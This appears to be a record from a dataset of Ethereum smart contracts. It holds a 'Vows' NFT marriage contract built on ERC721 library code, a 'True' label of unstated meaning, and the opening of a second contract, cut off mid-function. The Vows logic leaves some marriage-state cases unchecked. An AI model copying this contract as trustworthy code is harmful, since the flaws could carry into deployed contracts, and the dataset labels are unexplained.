function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract Vows is ERC721Enumerable, ReentrancyGuard, Ownable {
struct Marriage {
address proposer;
address accepter;
uint256 blockNumber;
}
mapping (address => address) public marriages;
mapping (address => address) public proposals;
mapping (uint256 => Marriage) internal _marriageData;
constructor() ERC721("Vows", "VOW") Ownable() {}
function propose(address proposeTo) public {
require(marriages[proposeTo] == address(0), "already married");
proposals[msg.sender] = proposeTo;
}
function accept(address proposer) public nonReentrant {
require(proposals[proposer] == msg.sender, "no proposal to you from them");
marriages[proposer] = msg.sender;
marriages[msg.sender] = proposer;
delete proposals[proposer];
delete proposals[msg.sender];
uint256 accepterTokenId = uint256(keccak256(abi.encodePacked(msg.sender, proposer)));
uint256 proposerTokenId = uint256(keccak256(abi.encodePacked(proposer, msg.sender)));
Marriage memory marriage;
marriage.proposer = proposer;
marriage.accepter = msg.sender;
marriage.blockNumber = block.number;
_marriageData[accepterTokenId] = marriage;
_marriageData[proposerTokenId] = marriage;
_safeMint(msg.sender, accepterTokenId);
_safeMint(proposer, proposerTokenId);
}
function annul() public nonReentrant {
require(marriages[msg.sender] != address(0), "not married");
address marriedTo = marriages[msg.sender];
uint256 senderTokenId = uint256(keccak256(abi.encodePacked(msg.sender, marriedTo)));
uint256 spouseTokenId = uint256(keccak256(abi.encodePacked(marriedTo, msg.sender)));
delete marriages[msg.sender];
delete marriages[marriedTo];
_burn(senderTokenId);
_burn(spouseTokenId);
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
Marriage memory marriage = _marriageData[tokenId];
string[15] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: black; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="white" /><text x="10" y="20" class="base">In the block number ';
parts[1] = uint2str(marriage.blockNumber);
parts[2] = ',</text><text x="10" y="40" class="base">';
parts[3] = address2str(marriage.proposer);
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = "and";
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = address2str(marriage.accepter);
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = "were happily united.";
parts[10] = '</text><text x="10" y="120" class="base">';
parts[11] = "";
parts[12] = '</text><text x="10" y="140" class="base">';
parts[13] = "May their union grow with wisdom and grace.";
parts[14] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "A Vow", "description": "Vows are eternal commitments from one address to another.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
// https://stackoverflow.com/a/65707309
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
// https://ethereum.stackexchange.com/a/58341
function address2str(address _address) public pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(uint160(address(_address))));
bytes memory HEX = "0123456789abcdef";
bytes memory _string = new bytes(42);
_string[0] = '0';
_string[1] = 'x';
for(uint i = 0; i < 20; i++) {
_string[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_string[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_string);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-05-18
*/
pragma solidity ^0.6.6;
/**
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
